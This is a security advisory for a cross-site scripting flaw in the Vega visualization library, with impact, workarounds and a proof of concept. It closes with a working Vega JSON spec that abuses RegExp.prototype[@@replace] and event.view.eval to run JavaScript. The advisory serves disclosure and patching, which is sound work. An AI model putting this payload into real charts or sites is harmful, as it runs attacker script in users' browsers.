Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

• Use vega with expression interpreter
• Upgrade to a newer Vega version (5.32.0)

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}